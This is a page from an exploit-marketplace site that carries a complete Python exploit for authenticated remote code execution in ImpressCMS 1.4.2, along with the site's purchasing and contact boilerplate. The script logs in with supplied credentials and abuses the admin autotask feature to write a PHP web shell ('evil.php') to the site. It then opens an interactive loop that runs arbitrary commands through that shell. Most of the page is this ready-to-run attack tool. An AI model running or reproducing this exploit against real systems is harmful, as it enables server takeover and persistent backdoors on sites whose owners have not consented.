0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

ImpressCMS 1.4.2 - Remote Code Execution (Authenticated) Exploit

Author

Halit AKAYDIN

Risk

[

Security Risk Critical

]

0day-ID

Category

Date add

Platform

# Exploit Title: ImpressCMS 1.4.2 - Remote Code Execution (RCE) (Authenticated)
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://www.impresscms.org/
# Software Link: https://www.impresscms.org/modules/downloads/
# Version: 1.4.2
# Category: Webapps
# Tested on: Linux/Windows

# ImpressCMS is a multilingual content management system for the web
# Contains an endpoint that allows remote access
# Autotask page misconfigured, causing security vulnerability



# Example: python3 exploit.py -u http://example.com -l admin -p Admin123

import requests
import argparse
import sys
from time import sleep

session = requests.session()

def main():
	parser = argparse.ArgumentParser(description='Impresscms Version 1.4.2 - Remote Code Execution (Authenticated)')
	parser.add_argument('-u', '--host', type=str, required=True)
	parser.add_argument('-l', '--login', type=str, required=True)
	parser.add_argument('-p', '--password', type=str, required=True)
	args = parser.parse_args()
	print("\nImpresscms Version 1.4.2 - Remote Code Execution (Authenticated)",
		  "\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
	exploit(args)

def countdown(time_sec):
    while time_sec:
        mins, secs = divmod(time_sec, 60)
        timeformat = '{:02d}'.format(secs)
        print("["+timeformat+"] The task is expected to run!", end='\r')
        sleep(1)
        time_sec -= 1

def exploit(args):
	#Check http or https
	if args.host.startswith(('http://', 'https://')):
		print("[?] Check Url...\n")
		args.host = args.host
		if args.host.endswith('/'):
			args.host = args.host[:-1]
		sleep(2)
	else:
		print("\n[?] Check Adress...\n")
		args.host = "http://" + args.host
		args.host = args.host
		if args.host.endswith('/'):
			args.host = args.host[:-1]
		sleep(2)

	try:
		response = requests.get(args.host)
		if response.status_code != 200:
			print("[-] Address not reachable!")
			sleep(2)
			exit(1)
	except requests.ConnectionError as exception:
		print("[-] Address not reachable")
		exit(1)


	response = requests.get(args.host + "/evil.php")
	if response.status_code == 200:
		print("[*] Exploit file exists!\n")
		sleep(2)
		print("[+] Exploit Done!\n")

		while True:
			cmd = input("$ ")
			url = args.host + "/evil.php?cmd=" + cmd
			headers = {
				"Upgrade-Insecure-Requests": "1",
				"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
			}

			response = requests.post(url, headers=headers, timeout=5)

			if response.text == "":
				print(cmd + ": command not found\n")
			else:
				print(response.text)

	else:
		#Login and set cookie
		url = args.host + "/user.php"
		cookies = {
			"ICMSSESSION": "gjj2svl7qjqorj5rs87b6thmi5"
		}

		headers = {
			"Cache-Control": "max-age=0",
			"Upgrade-Insecure-Requests": "1",
			"Origin": args.host,
			"Content-Type": "application/x-www-form-urlencoded",
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
			"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
			"Referer": args.host,
			"Accept-Encoding": "gzip, deflate",
			"Accept-Language": "en-US,en;q=0.9",
			"Connection": "close"
		}

		data = {
			"uname": args.login,
			"pass": args.password,
			"xoops_redirect": "/",
			"op": "login"
		}

		response = session.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
		new_cookies = session.cookies.get("ICMSSESSION")

		if (new_cookies is None):
			print("[-] Login Failed...\n")
			print("Your username or password is incorrect.")
			sleep(2)
			exit(1)
		else:
			print("[+] Success Login...\n")
			sleep(2)

			# Create Tasks
			url = args.host + "/modules/system/admin.php?fct=autotasks&op=mod"
			cookies = {
			    "ICMSSESSION": new_cookies
			}

			headers = {
			    "Cache-Control": "max-age=0",
			    "Upgrade-Insecure-Requests": "1",
			    "Origin": args.host,
			    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryZ2hA91yNO8FWPZmk",
			    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
			    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
			    "Referer": args.host + "/modules/system/admin.php?fct=autotasks&op=mod",
			    "Accept-Encoding": "gzip, deflate",
			    "Accept-Language": "en-US,en;q=0.9",
			    "Connection": "close"
			}

			data = "------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_id\"\r\n\r\n0\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_lastruntime\"\r\n\r\n0\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_name\"\r\n\r\nrce\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_code\"\r\n\r\nfile_put_contents('../evil.php', \"<?php system(\\x24_GET['cmd']); ?>\");\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_repeat\"\r\n\r\n0\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_interval\"\r\n\r\n0001\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_onfinish\"\r\n\r\n0\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_enabled\"\r\n\r\n1\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_type\"\r\n\r\n:custom\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"sat_addon_id\"\r\n\r\n\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"icms_page_before_form\"\r\n\r\n"+args.host+"/modules/system/admin.php?fct=autotasks\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\naddautotasks\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk\r\nContent-Disposition: form-data; name=\"modify_button\"\r\n\r\nSubmit\r\n------WebKitFormBoundaryZ2hA91yNO8FWPZmk--\r\n"
			response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)

			if response.headers.get("location") == args.host + "/modules/system/admin.php?fct=autotasks":
				print("[*] Task Create.\n")
				sleep(2)

				countdown(60)

				print("\n\n[+] Exploit Done!\n")
				sleep(2)

				while True:
					cmd = input("$ ")
					url = args.host + "/evil.php?cmd=" + cmd
					headers = {
						"Upgrade-Insecure-Requests": "1",
						"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
					}

					response = requests.post(url, headers=headers, timeout=5)
					if response.text == "":
						print(cmd + ": command not found\n")
					else:
						print(response.text)
			elif response.headers.get("location") == args.host + "/user.php":
				print("[!] Unauthorized user!\n\n")
				print("Requires user with create task permissions.")
				sleep(2)
			else:
				pass


if __name__ == '__main__':
	main()

#  0day.today [2024-12-26]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

ImpressCMS 1.4.2 - Remote Code Execution (Authenticated) Exploit

Report Error

Report Error